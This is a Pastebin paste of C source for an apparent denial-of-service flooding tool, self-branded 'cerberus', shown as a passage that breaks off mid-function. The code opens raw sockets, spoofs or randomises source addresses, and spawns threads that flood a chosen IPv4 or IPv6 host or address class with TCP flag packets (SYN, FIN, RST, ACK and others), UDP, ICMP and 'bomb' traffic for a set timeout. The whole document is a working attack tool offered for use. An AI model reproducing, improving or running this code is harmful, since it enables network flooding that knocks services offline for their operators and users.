Advertisement
wtfbbq

shit.c

Mar 20th, 2015
1,350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 43.94 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip6.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <netinet/icmp6.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/udp.h>
  30. #include <netinet/ip_icmp.h>
  31. #include <arpa/inet.h>
  32. #include <pthread.h>
  33. void *send_tcp(void* arg);
  34. void *send_udp(void* arg);
  35. void *send_icmp(void* arg);
  36. void *send_bomb(void* arg);
  37. void  handle_exit();
  38. unsigned short in_cksum(unsigned short *addr, int len);
  39. unsigned short xchecksum(unsigned short *buffer, int size);
  40. char *class2ip(const char *class);
  41. char *class2ip6(const char *class);
  42. void inject(struct ip *ip, u_char p, u_char len);
  43. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  44. u_long lookup(const char *host);
  45. int main(int argc, char *argv[]);
  46. #define INET_ADDR       16
  47. #define INET6_ADDR      46
  48. #define TCP_FIN         1
  49. #define TCP_SYN         2
  50. #define TCP_RST         4
  51. #define TCP_PSH         8
  52. #define TCP_ACK         16
  53. #define TCP_URG         32
  54. #define TCP_ECE         64
  55. #define TCP_CWR         128
  56. #define TCP_NOF         256
  57. #define TCP_BMB         512
  58. #define UDP_BMB         1024
  59. #define RAW_BMB         2048
  60. #define UDP_CFF         4096
  61. #define ICMP_ECHO_G     8192
  62. #define COMBINE         16384
  63. #define ICMP_HDRLEN         8
  64. #define TH_NOF              0x0
  65.  
  66. #ifdef LINUX
  67. #   define FIX(x)  htons(x)
  68. #else
  69. #   define FIX(x)  (x)
  70. #endif
  71. struct pseudo_hdr
  72. {        
  73.     u_long saddr, daddr;    /* source and dest address   */
  74.     u_char mbz, ptcl;       /* zero and protocol         */
  75.     u_short tcpl;           /* tcp length                */
  76. };
  77. struct checksum
  78. {
  79.     struct pseudo_hdr pseudo;
  80.     struct tcphdr tcp;
  81. };
  82. void inject(struct ip *ip, u_char p, u_char len);
  83. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  84. #define MAX_THREADS 32768
  85. pthread_t attack_thread[MAX_THREADS];
  86. struct thread_data
  87. {
  88.     int initialized;                // valid thread?
  89.     int flag4, flag6;               // v4 or v6
  90.     int start; 
  91.     int packets;
  92.     unsigned int timeout;       // attack timeout
  93.     int thread;
  94.     unsigned int bombsize;      // size of connect bomb
  95.     unsigned int datasize;      // size of tcp data after header   
  96.     int socket;                     // rawsock
  97.     int a_flags;                    // a_flags
  98.     struct sockaddr_in  destination4;
  99.     struct sockaddr_in6     destination6;
  100.     u_long dstaddr;
  101.     u_char th_flags;
  102.     int d_lport;
  103.     int d_hport;
  104.     int s_lport;
  105.     int s_hport;
  106.     char *src_class;
  107.     char *dst_class;
  108.     char SrcIP4[INET_ADDR];
  109.     char SrcIP6[INET6_ADDR];
  110.     char DestIP4[INET_ADDR];
  111.     char DestIP6[INET6_ADDR];
  112.  
  113. };
  114. struct thread_data thread_data_array[MAX_THREADS];
  115. const char *banner_name         = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  116. const char *banner_types        = "   [\e[4mTCP\e[0m - \e[4mICMP\e[0m - \e[4mUDP\e[0m]";
  117. const char *banner_version  = "         \e[4mv0.666\e[0m";
  118.  
  119. static void
  120. usage(const char *argv0)
  121. {
  122.     printf("%s \n",   banner_name);
  123.     printf("    -4 IPv4\n");
  124.     printf("    -6 IPv6\n");
  125.     printf("    -U UDP  attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  126.     printf("    -I ICMP attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  127.     printf("    -T TCP  attack            [type,size]             \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  128.     printf("                                                      \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  129.     printf("                                                      \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  130.     printf("                                                      \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");  
  131.     printf("                                                      \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  132.     printf("    -B BMB  attack            [type,size]      \e[1;37m(\e[31m0:TCP   1:UDP   2:RAW\e[1;37m)\e[0m\n"); 
  133.     printf("    -h destination ip                                     \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  134.     printf("    -d destination class                                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  135.     printf("    -s source class/ip                                        \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  136.     printf("    -p destination port range [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  137.     printf("    -q source port range      [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  138.     printf("    -t timeout                                            \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  139.     printf("\e[1musage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  140.     exit(-1);
  141. }
  142. int
  143. main(int argc, char *argv[])
  144. {
  145.    int i = 0, n;
  146.     int on = 1;
  147.    struct sockaddr_in  DestAddress4;
  148.    struct sockaddr_in6 DestAddress6;
  149.  
  150.     while ( (n = getopt(argc, argv, "46T:B:IUh:d:s:t:p:q:")) != -1)
  151.     {
  152.       char *p;
  153.       unsigned int bombsize = 0;      
  154.       unsigned int datasize = 0;
  155.  
  156.         switch (n)
  157.         {
  158.             case '4':
  159.                 thread_data_array[0].flag4 = 1;
  160.                 break;
  161.             case '6':
  162.                 thread_data_array[0].flag6 = 1;
  163.                 break;
  164.             case 'T':
  165.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  166.                 datasize = 4;
  167.                
  168.                 if(datasize == 0)
  169.                     datasize = atoi(p + 1);  
  170.                
  171.                 if(datasize > 1024)
  172.                     datasize = 1024;                               
  173.  
  174.             switch (atoi(optarg))
  175.                 {
  176.                     case 0:
  177.                         thread_data_array[TCP_FIN].initialized  = 1;
  178.                        
  179.                         thread_data_array[0].a_flags |= TCP_FIN;
  180.                         thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  181.                         thread_data_array[TCP_FIN].datasize = datasize;
  182.                         break;
  183.                   case 1:
  184.                         thread_data_array[TCP_SYN].initialized  = 1;
  185.  
  186.                         thread_data_array[0].a_flags |= TCP_SYN;
  187.                         thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  188.                         thread_data_array[TCP_SYN].datasize = datasize;                    
  189.                         break;
  190.                   case 2:
  191.                         thread_data_array[TCP_RST].initialized  = 1;
  192.  
  193.                         thread_data_array[0].a_flags            |= TCP_RST;
  194.                         thread_data_array[TCP_RST].a_flags  |= TCP_RST;
  195.                         thread_data_array[TCP_RST].datasize = datasize;                    
  196.                         break;
  197.                   case 3:
  198.                         thread_data_array[TCP_PSH].initialized  = 1;
  199.  
  200.                         thread_data_array[0].a_flags            |= TCP_PSH;
  201.                         thread_data_array[TCP_PSH].a_flags  |= TCP_PSH;
  202.                         thread_data_array[TCP_PSH].datasize = datasize;                    
  203.                         break;
  204.                   case 4:
  205.                         thread_data_array[TCP_ACK].initialized  = 1;
  206.  
  207.                         thread_data_array[0].a_flags            |= TCP_ACK;
  208.                         thread_data_array[TCP_ACK].a_flags  |= TCP_ACK;
  209.                         thread_data_array[TCP_ACK].datasize = datasize;                    
  210.                         break;
  211.                   case 5:
  212.                         thread_data_array[TCP_URG].initialized  = 1;
  213.  
  214.                         thread_data_array[0].a_flags            |= TCP_URG;
  215.                         thread_data_array[TCP_URG].a_flags  |= TCP_URG;
  216.                         thread_data_array[TCP_URG].datasize = datasize;                    
  217.                         break;
  218.                   case 6:
  219.                         thread_data_array[TCP_ECE].initialized  = 1;
  220.  
  221.                         thread_data_array[0].a_flags            |= TCP_ECE;
  222.                         thread_data_array[TCP_ECE].a_flags  |= TCP_ECE;
  223.                         thread_data_array[TCP_ECE].datasize = datasize;                    
  224.                         break;
  225.                   case 7:
  226.                         thread_data_array[TCP_CWR].initialized  = 1;
  227.  
  228.                         thread_data_array[0].a_flags            |= TCP_CWR;
  229.                         thread_data_array[TCP_CWR].a_flags  |= TCP_CWR;
  230.                         thread_data_array[TCP_CWR].datasize = datasize;                    
  231.                         break;                                             
  232.                   case 8:
  233.                         thread_data_array[TCP_NOF].initialized  = 1;
  234.  
  235.                         thread_data_array[0].a_flags            |= TCP_NOF;
  236.                         thread_data_array[TCP_NOF].a_flags  |= TCP_NOF;
  237.                         thread_data_array[TCP_NOF].datasize = datasize;                    
  238.                         break;                     
  239.                 }
  240.                 break;
  241.             case 'B':
  242.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  243.                 bombsize = 64;
  244.                
  245.                 if(bombsize == 0)
  246.                     bombsize = atoi(p + 1);  
  247.                
  248.                 if(bombsize > 2048)
  249.                     bombsize = 2048;  
  250.                                            
  251.             switch (atoi(optarg))
  252.                 {          
  253.                     case 0:
  254.                         thread_data_array[TCP_BMB].initialized  = 1;
  255.                        
  256.                         thread_data_array[0].a_flags |= TCP_BMB;
  257.                         thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  258.                         thread_data_array[TCP_BMB].bombsize = bombsize;                    
  259.                         break;     
  260.                     case 1:
  261.                         thread_data_array[UDP_BMB].initialized  = 1;
  262.                        
  263.                         thread_data_array[0].a_flags |= UDP_BMB;
  264.                         thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  265.                         thread_data_array[UDP_BMB].bombsize = bombsize;                    
  266.                         break;
  267.                     case 2:
  268.                         thread_data_array[RAW_BMB].initialized  = 1;
  269.                        
  270.                         thread_data_array[0].a_flags |= RAW_BMB;
  271.                         thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  272.                         thread_data_array[RAW_BMB].bombsize = bombsize;                    
  273.                         break;                                                 
  274.                 }      
  275.                 break;                             
  276.             case 'I':
  277.                 thread_data_array[ICMP_ECHO_G].initialized = 1;
  278.  
  279.                 thread_data_array[0].a_flags |= ICMP_ECHO_G;
  280.                 thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  281.                 break;
  282.             case 'U':
  283.                 thread_data_array[UDP_CFF].initialized = 1;
  284.  
  285.                 thread_data_array[0].a_flags |= UDP_CFF;
  286.                 thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  287.                 break;         
  288.             case 'h':
  289.                 if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  290.                 {
  291.                     DestAddress4.sin_family     = AF_INET;
  292.                     inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  293.                     thread_data_array[0].dstaddr = lookup(optarg);
  294.  
  295.                     thread_data_array[0].destination4   =   DestAddress4;
  296.                 }
  297.                 else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  298.                 {
  299.                     DestAddress6.sin6_family    = AF_INET6;
  300.                     inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  301.  
  302.                     thread_data_array[0].destination6   =   DestAddress6;
  303.                 }
  304.                 else
  305.                 {
  306.                     printf("-4 and -6 can not both be specified.\n\n");
  307.                     usage(argv[0]);                
  308.                 }
  309.                 break;
  310.             case 'd':
  311.                 thread_data_array[0].dst_class = optarg;
  312.                 break;
  313.             case 's':
  314.                 thread_data_array[0].src_class = optarg;
  315.                 break;
  316.             case 'p':
  317.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  318.                     usage(argv[0]);
  319.                 thread_data_array[0].d_lport = atoi(optarg);    /* Destination start port */
  320.                 thread_data_array[0].d_hport = atoi(p + 1);     /* Destination end port */
  321.                 break;
  322.             case 'q':
  323.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  324.                     usage(argv[0]);
  325.                 thread_data_array[0].s_lport = atoi(optarg);    /* Source start port */
  326.                 thread_data_array[0].s_hport = atoi(p + 1);     /* Source end port */
  327.                 break;
  328.             case 't':
  329.                 thread_data_array[0].timeout = atoi(optarg);
  330.                 break;
  331.             default:
  332.                 usage(argv[0]);
  333.                 break;
  334.         }
  335.     }
  336.     if (!thread_data_array[0].timeout)
  337.     {
  338.         usage(argv[0]);
  339.     }
  340.  
  341.     if (!thread_data_array[0].src_class)
  342.     {
  343.         if(thread_data_array[0].flag6 == 1)
  344.         {
  345.             static char ipstring[3];
  346.             strcat(ipstring, "2001:");
  347.             thread_data_array[0].src_class = class2ip6(ipstring);
  348.             //printf("\n\e[1;37merror: -s must be specified with -6\n\n");
  349.             //usage(argv[0]);
  350.         }
  351.     }
  352.  
  353.     if (    (!thread_data_array[0].flag4 && !thread_data_array[0].flag6)    ||
  354.             (!thread_data_array[0].a_flags)                                             ||
  355.             (!thread_data_array[0].timeout)
  356.         )              
  357.        
  358.     {
  359.         usage(argv[0]);
  360.     }
  361.  
  362.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  363.     {
  364.         int i;
  365.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  366.         {  
  367.             if ( thread_data_array[i].initialized == 1 )
  368.             {
  369.                 if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  370.                 {
  371.                     perror("socket");
  372.                     exit(-1);
  373.                 }  
  374.  
  375.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  376.                 {
  377.                     perror("setsockopt");
  378.                     exit(-1);
  379.                 }
  380.             }
  381.         }
  382.  
  383.         printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  384.                                                                                                             thread_data_array[0].dst_class :
  385.                                                                                                             inet_ntop(AF_INET,
  386.                                                                                                                     &thread_data_array[0].destination4.sin_addr,
  387.                                                                                                                     thread_data_array[0].DestIP4,
  388.                                                                                                                     sizeof(thread_data_array[0].DestIP4)),
  389.                                                                                                                     //thread_data_array[0].src_class,
  390.                                                                                                                     thread_data_array[0].src_class != NULL ?
  391.                                                                                                             thread_data_array[0].src_class :
  392.                                                                                                             "random",                                                                                                                  
  393.                                                                                                                     thread_data_array[0].a_flags,
  394.                                                                                                                     thread_data_array[0].timeout);
  395.        
  396.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                                                                                                                                      
  397.     }
  398.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  399.     {
  400.         int i;
  401.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  402.         {
  403.             if ( thread_data_array[i].initialized== 1 )
  404.             {
  405.                 if (thread_data_array[i].a_flags <= TCP_BMB )              
  406.                 {
  407.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
  408.                     {
  409.                         perror("socket");
  410.                         exit(-1);
  411.                     }
  412.                 }
  413.                 else if (thread_data_array[i].a_flags == UDP_CFF)
  414.                 {
  415.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
  416.                     {
  417.                         perror("socket");
  418.                         exit(-1);
  419.                     }
  420.                 }
  421.                 else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  422.                 {
  423.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
  424.                     {
  425.                         perror("socket");
  426.                         exit(-1);
  427.                     }
  428.                 }
  429.  
  430.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0)
  431.                 {
  432.                     perror("setsockopt");
  433.                     exit(-1);
  434.                 }
  435.             }
  436.         }
  437.         printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  438.                                                                                                         thread_data_array[0].dst_class :
  439.                                                                                                             inet_ntop(AF_INET6,
  440.                                                                                                                     &thread_data_array[0].destination6.sin6_addr,
  441.                                                                                                                     thread_data_array[0].DestIP6,
  442.                                                                                                                     sizeof(thread_data_array[0].DestIP6)),
  443.                                                                                                                     thread_data_array[0].src_class,
  444.                                                                                                                     thread_data_array[0].a_flags,
  445.                                                                                                                     thread_data_array[0].timeout);
  446.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                  
  447.     }
  448.                
  449.  
  450.     signal (SIGINT,  handle_exit);
  451.     signal (SIGTERM, handle_exit);
  452.     signal (SIGQUIT, handle_exit);
  453.  
  454.     thread_data_array[0].start      = time(NULL);
  455.  
  456.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  457.     {      
  458.         if (thread_data_array[i].a_flags == TCP_FIN)
  459.         {
  460.             thread_data_array[i].thread     = i;
  461.             thread_data_array[i].packets        = 0;
  462.  
  463.             thread_data_array[i].th_flags   = TH_FIN;
  464.            
  465.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  466.         {
  467.             printf("+    Thread error:\n");
  468.             perror("-    pthread_create()\n");
  469.             }
  470.         }
  471.         if (thread_data_array[i].a_flags == TCP_SYN)
  472.         {
  473.             thread_data_array[i].thread     = i;
  474.             thread_data_array[i].packets        = 0;
  475.            
  476.  
  477.             thread_data_array[i].th_flags   = TH_SYN;
  478.  
  479.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  480.         {
  481.             printf("+    Thread error:\n");
  482.             perror("-    pthread_create()\n");
  483.             }
  484.         }
  485.         if (thread_data_array[i].a_flags == TCP_RST)
  486.         {
  487.             thread_data_array[i].thread     = i;
  488.             thread_data_array[i].packets        = 0;
  489.  
  490.             thread_data_array[i].th_flags   = TH_RST;
  491.  
  492.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  493.         {
  494.             printf("+    Thread error:\n");
  495.             perror("-    pthread_create()\n");
  496.             }
  497.         }
  498.         if (thread_data_array[i].a_flags == TCP_PSH)
  499.         {
  500.             thread_data_array[i].thread     = i;
  501.             thread_data_array[i].packets        = 0;
  502.  
  503.             thread_data_array[i].th_flags   = TH_PUSH;
  504.  
  505.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  506.         {
  507.             printf("+    Thread error:\n");
  508.             perror("-    pthread_create()\n");
  509.             }
  510.         }
  511.         if (thread_data_array[i].a_flags == TCP_ACK)
  512.         {
  513.             thread_data_array[i].thread     = i;
  514.             thread_data_array[i].packets        = 0;
  515.  
  516.             thread_data_array[i].th_flags   = TH_ACK;
  517.  
  518.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  519.         {
  520.             printf("+    Thread error:\n");
  521.             perror("-    pthread_create()\n");
  522.             }
  523.         }
  524.         if (thread_data_array[i].a_flags == TCP_URG)
  525.         {
  526.             thread_data_array[i].thread     = i;
  527.             thread_data_array[i].packets        = 0;
  528.  
  529.  
  530.             thread_data_array[i].th_flags   = TH_URG;
  531.            
  532.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  533.         {
  534.             printf("+    Thread error:\n");
  535.             perror("-    pthread_create()\n");
  536.             }
  537.         }
  538.         if (thread_data_array[i].a_flags == TCP_NOF)
  539.         {
  540.             thread_data_array[i].thread     = i;
  541.             thread_data_array[i].packets        = 0;
  542.  
  543.  
  544.             thread_data_array[i].th_flags   = TH_NOF;
  545.            
  546.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  547.         {
  548.             printf("+    Thread error:\n");
  549.             perror("-    pthread_create()\n");
  550.             }
  551.         }      
  552.  
  553.         if (thread_data_array[i].a_flags == TCP_BMB)
  554.         {
  555.             thread_data_array[i].thread     = i;
  556.             thread_data_array[i].packets        = 0;
  557.  
  558.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  559.         {
  560.                 printf("+    Thread error:\n");
  561.                 perror("-    pthread_create()\n");
  562.             }
  563.         }
  564.         if (thread_data_array[i].a_flags == UDP_BMB)
  565.         {
  566.             thread_data_array[i].thread     = i;
  567.             thread_data_array[i].packets        = 0;
  568.  
  569.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  570.         {
  571.                 printf("+    Thread error:\n");
  572.                 perror("-    pthread_create()\n");
  573.             }
  574.         }
  575.         if (thread_data_array[i].a_flags == RAW_BMB)
  576.         {
  577.             thread_data_array[i].thread     = i;
  578.             thread_data_array[i].packets        = 0;
  579.  
  580.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  581.         {
  582.                 printf("+    Thread error:\n");
  583.                 perror("-    pthread_create()\n");
  584.             }
  585.         }              
  586.         if (thread_data_array[i].a_flags == UDP_CFF)
  587.         {
  588.             thread_data_array[i].thread     = i;
  589.             thread_data_array[i].packets        = 0;
  590.  
  591.             if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
  592.         {
  593.                 printf("+    Thread error:\n");
  594.                 perror("-    pthread_create()\n");
  595.             }
  596.         }
  597.         if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  598.         {
  599.             thread_data_array[i].thread     = i;
  600.             thread_data_array[i].packets        = 0;
  601.  
  602.             if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
  603.         {
  604.                 printf("+    Thread error:\n");
  605.                 perror("-    pthread_create()\n");
  606.             }
  607.         }
  608.     }
  609.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  610.    {
  611.      if(attack_thread[i] != 0)
  612.             pthread_join(attack_thread[i], NULL);
  613.     }
  614.     exit(0);
  615. }
  616. void *send_tcp(void* arg)
  617. {
  618.     struct thread_data *param2  = arg;
  619.  
  620.    struct checksum checksum;
  621.    struct packet
  622.     {
  623.     struct ip ip;
  624.       struct tcphdr tcp;
  625.     char buf[param2->datasize];        
  626.    } packet;
  627.  
  628.    struct packet6
  629.     {
  630.     struct ip6_hdr ip;
  631.       struct tcphdr tcp;
  632.     char buf[param2->datasize];      
  633.    } packet6;
  634.  
  635.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  636.    
  637.     int i;
  638.     for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  639.     {
  640.         packet.buf[i] = '\x00';
  641.     }
  642.            
  643.     signal(SIGALRM, handle_exit);  
  644.     alarm(thread_data_array[0].timeout);
  645.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  646.     {
  647.         do     
  648.         {
  649.             /* Filling IP header */
  650.             memset(&packet, 0, sizeof packet);
  651.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  652.    
  653.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  654.  
  655.            /* Filling cksum pseudo header */
  656.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  657.            checksum.pseudo.mbz          =   0;
  658.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  659.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  660.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  661.  
  662.             /* Filling TCP header */
  663.             packet.tcp.th_win           =   htons(65535);
  664.            packet.tcp.th_seq        =   random();
  665.             //packet.tcp.th_x2          =   4;
  666.  
  667.             if  (param2->th_flags == TCP_ACK)
  668.                 packet.tcp.th_ack       = 1;
  669.             else
  670.             packet.tcp.th_ack       =   0;     
  671.  
  672.            packet.tcp.th_flags      =   param2->th_flags;
  673.             packet.tcp.th_off           =   5;
  674.  
  675.             if  (param2->th_flags == TCP_URG)
  676.                packet.tcp.th_urp        =   1;
  677.             else
  678.                 packet.tcp.th_urp       =   0;
  679.  
  680.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  681.                                             random () :
  682.                                             htons(thread_data_array[0].s_lport + (random() %
  683.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  684.    
  685.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  686.                                             random () :
  687.                                          htons(thread_data_array[0].d_lport + (random() %
  688.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  689.                
  690.            checksum.tcp                 =   packet.tcp;
  691.             //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  692.            packet.tcp.th_sum                =  xchecksum((void *)&checksum, sizeof(checksum));
  693.        
  694.             param2->packets++;
  695.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  696.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  697.                          sizeof(thread_data_array[0].destination4)) );
  698.     }
  699.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  700.     {
  701.         do     
  702.         {
  703.             /* Filling IP header */
  704.             memset(&packet6, 0, sizeof packet6);
  705.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  706.  
  707.            /* Filling cksum pseudo header */
  708.            checksum.pseudo.daddr    =   thread_data_array[0].dstaddr;
  709.            checksum.pseudo.mbz          =   0;
  710.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  711.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  712.  
  713.            /* Filling TCP header */
  714.             packet6.tcp.th_win          =   htons(65535);
  715.            packet6.tcp.th_seq           =   random();
  716.             //packet6.tcp.th_x2         =   4;
  717.  
  718.             if  (param2->th_flags == TCP_ACK)
  719.                 packet6.tcp.th_ack      =   1;
  720.             else
  721.                 packet6.tcp.th_ack      =   0;     
  722.  
  723.            packet6.tcp.th_flags         =   param2->th_flags;
  724.             packet6.tcp.th_off          =   5;
  725.  
  726.             if  (param2->th_flags == TCP_URG)
  727.                 packet6.tcp.th_urp     =    1;
  728.             else
  729.                 packet6.tcp.th_urp     =    0;
  730.  
  731.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  732.                                             random () :
  733.                                             htons(thread_data_array[0].s_lport + (random() %
  734.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  735.    
  736.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  737.                                             random () :
  738.                                          htons(thread_data_array[0].d_lport + (random() %
  739.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  740.    
  741.            checksum.tcp                 =   packet.tcp;
  742.            //packet6.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  743.             packet.tcp.th_sum               =  xchecksum((void *)&checksum, sizeof(checksum));
  744.                                                    
  745.             param2->packets++;
  746.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  747.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  748.                          sizeof(thread_data_array[0].destination6)) );
  749.     }
  750.     return 0;
  751. }
  752.  
  753. void *send_pan(void* arg)
  754. {
  755.     struct thread_data *param2  = arg;
  756.  
  757.    struct checksum checksum;
  758.    struct packet
  759.     {
  760.       struct ip ip;
  761.     struct tcphdr tcp;
  762.    } packet;
  763.  
  764.    struct packet6
  765.     {
  766.     struct ip6_hdr ip;
  767.       struct tcphdr tcp;
  768.    } packet6;
  769.  
  770.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  771.  
  772.     signal(SIGALRM, handle_exit);  
  773.     alarm(thread_data_array[0].timeout);
  774.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  775.     {
  776.         do     
  777.         {
  778.             /* Filling IP header */
  779.             memset(&packet, 0, sizeof packet);
  780.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  781.    
  782.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  783.  
  784.            /* Filling cksum pseudo header */
  785.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  786.            checksum.pseudo.mbz          =   0;
  787.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  788.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  789.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  790.  
  791.             /* Filling TCP header */
  792.             packet.tcp.th_win           =   htons(65535);
  793.            packet.tcp.th_seq        =   random();
  794.             //packet.tcp.th_x2          =   4;
  795.  
  796.             if  (param2->th_flags == TCP_ACK)
  797.                 packet.tcp.th_ack       =   1;
  798.             else
  799.             packet.tcp.th_ack       =   0; 
  800.  
